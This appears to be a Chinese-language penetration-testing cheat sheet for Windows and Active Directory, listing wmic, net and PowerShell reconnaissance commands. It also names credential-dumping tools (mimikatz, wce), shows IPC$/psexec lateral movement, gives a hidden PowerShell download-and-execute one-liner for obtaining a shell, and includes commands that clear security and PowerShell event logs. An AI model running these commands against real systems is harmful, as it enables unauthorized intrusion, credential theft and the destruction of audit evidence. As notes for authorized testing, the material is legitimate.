Infomation

Local Info

Host

硬件信息,判断是否是虚拟机

系统信息,系统版本,补丁列表

wmic /node:10.0.0.133 computersystem get Name
wmic bios
wmic os
wmic qfe# 补丁信息
wmic startup		# 启动项
wmic baseboard # 主板信息
wmic computersystem
wmic nicconfig		# 网卡信息

systeminfo
set					# 环境变量
echo $env			# 环境变量

系统信息

User

本地用户,权限

关注Administrator组成员和邮件用户。

密码、凭证、登入时间,登入机器

whoami /all	
qwinsta			# 登入情况
qwinsta /SERVER:IP
# net
net user
net user Administrator

net localgroup 
net gourp 

net accounts		# 密码策略

wmic /OUTPUT:out.txt /RECORD:out.xml /USER:Administrator /PASSWORD:P@ssw0rd!

wmic useraccount
wmic sysaccount
wmic group
wmic desktop		# 可查看设置壁纸

wmic logon			# 登入凭证
wmic netlogin		# 登入信息 最后登入时间

pstools 
# Powershell
## 操作WMI

Process

分析安全软件、邮件客户端、接入软件等

ccSvcHst.exe # 赛门铁克

分析程序漏洞

tasklist /V
qprocess

wmic process
Get-Process

Server

wmic service
# Powershell

Network

网络位置:网关,路由,路由追踪,IP地址,网段 服务端口:服务 通讯主机:服务连接、管理连接 分析服务器角色

arp -a
ipconfig /all
netstat -ano | -anbp tcp
route print
tracert

wmic nic			# 接口信息
wmic nicconfig		# 网络接口配置
# Powershell

File

fsutil fsinfo drives		# 查询盘符

Share

本机文件共享,本机访问的共享

net share
net use

wmic share
wmic netuse

Domain Info

net config workstation			# 当前登入域

net user /domain
net group /domain
net group "Domain Admins"		# 在计算机加入域时,系统自动把域管理员组domain admins加入到本地的administrators组中。
net group "Domain controllers"	# 域控制器

net accounts /doamin			# 域密码策略

net localgroup administrators /domain	# 登入本机的域管理员

net view				# 域内机器
net view /domain		# 域列表
net view /domain:domainname		# 域内计算机列表

net time /domain	# 主域通常作时间服务器

nslookup -type=SRV _ldap._tcp.  # 查询域控
gpupdate /force					# 更新域策略

额外的工具 dsquery # Windows Server 2003 Administration Tools Pack netsess # 查询域控

同常可以通过域控389端口直接获取AD副本

ldp.exe ADExplorer.exe

常见企业服务

ERP 企业资源计划 EIP 企业信息门户 OA 办公自动化 AD 域控制器

5 Ways to Find Systems Running Domain Admin Processes

Attack Vector

Hash

windows的密码是经过hash后存储的,本地存在sam,system注册表中,域里面存在ntds.dit中。密码hash有两种格式,LM hash和NT hash。从vista以后的系统本地和域都不再存储LM hash,取而代之的是一串AAD3开头的hash串。另外由于LM hash算法的局限性,当密码超过14位时,即使在2003或XP上,LM hash也为空,此时抓hash抓到的也是AAD3开头的。

抓取账户hash爆破或者直接注入

1.mimikatz 2.wce

gsecdump

LMhash 爆破

NThash就只能用暴力破解了,基本上所有破解工具都支持该算法。破不出来也没太大关系,现在也出了很多工具支持直接使用nthash连接远程机器执行命令。

除了这两种hash,在域环境中还存在另外一种域登录缓存mscash

SMB Share

Get-SmbShare

不得不提IPC$

net use \\server\IPC$ "PASSWORD" /User:USERNAME		# 建立IPC连接

常见手法有copy文件,net time取得时间,at执行程序

另一个方法是schtasks

有发生Win7中文版上运行schtasks会报错,解决办法是chcp 437换成美国编码

IPC$ 入侵详解

psexec用起来比较顺手,不过需要远程创建服务,动作较大

psexec		# 第一次运行可以添加/accepteula防止确定界面

NetBIOS

nbtstat -A ip	# 查询NetBIOS
nbtstat -a Name

nbtscan

Firewall

有时需要控制防火墙 netsh advfirewall firewall set rule group=“Windows Management Instrumentation (WMI)” new enable=yes

powershell也可以直接控制防火墙

WMI (Windows Management Instrumentation)

可以使用wmic或者powershell的WmiObject控制

域内远程访问需要开启Firewall规则

netsh advfirewall firewall set rule group=“Windows Management Instrumentation (WMI)” new enable=yes wmic [/node:HOSTNAME] wmic process list full wmic process call create “shutdown.exe -r -f -t 20” wmic process get “ExecutablePath,ProcessId,CommandLine” wmic baseboard list full #查看主板信息,可以判断虚拟机

在powershell下执行wmic时参数有些坑,powershell会吃掉引号

wmic process where “name=““cmd.exe””” list brief

Net

Net 命令用于管理网络资源

net use 添加smb共享

Powershell

Windows高版本下Powershell优势很多

Getshell

powershell.exe -exec bypass -nop -W hidden -noninteractive # bypass和隐藏窗口
powershell.exe -exec bypass -nop -W hidden -noninteractive IEX (New-Object Net.WebClient).DownloadString('#{remote_script}');

DNS

Get-Command -Noun *dnsserver*

Get-DnsServerZone

Get-DnsServerResourceRecord

Download

Invoke-WebRequest
(New-Object Net.WebClient).DownloadString

Credential

Get-Credential

$uname="DBA_User"
$pwd=ConvertTo-SecureString  "My_Pwd" -AsPlainText -Force;
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd);
Get-WmiObject -Credential $cred -Class Win32_LogicalDisk -ComputerName 192.168.1.111

Modules

1.Empire 2.PowerUp 3.PowerView

Clear

wevtutil日志控制工具

wevtutil cl “windows powershell” wevtutil cl “security” wevtutil cl “system”

prefetch预载入文件,存有powershell等文件缓存,可能泄漏信息。

del %systemroot%\prefetch\POWERSHELL.EXE-59FC8F3D.pf

Windows

资料

Micropoor 的渗透测试教程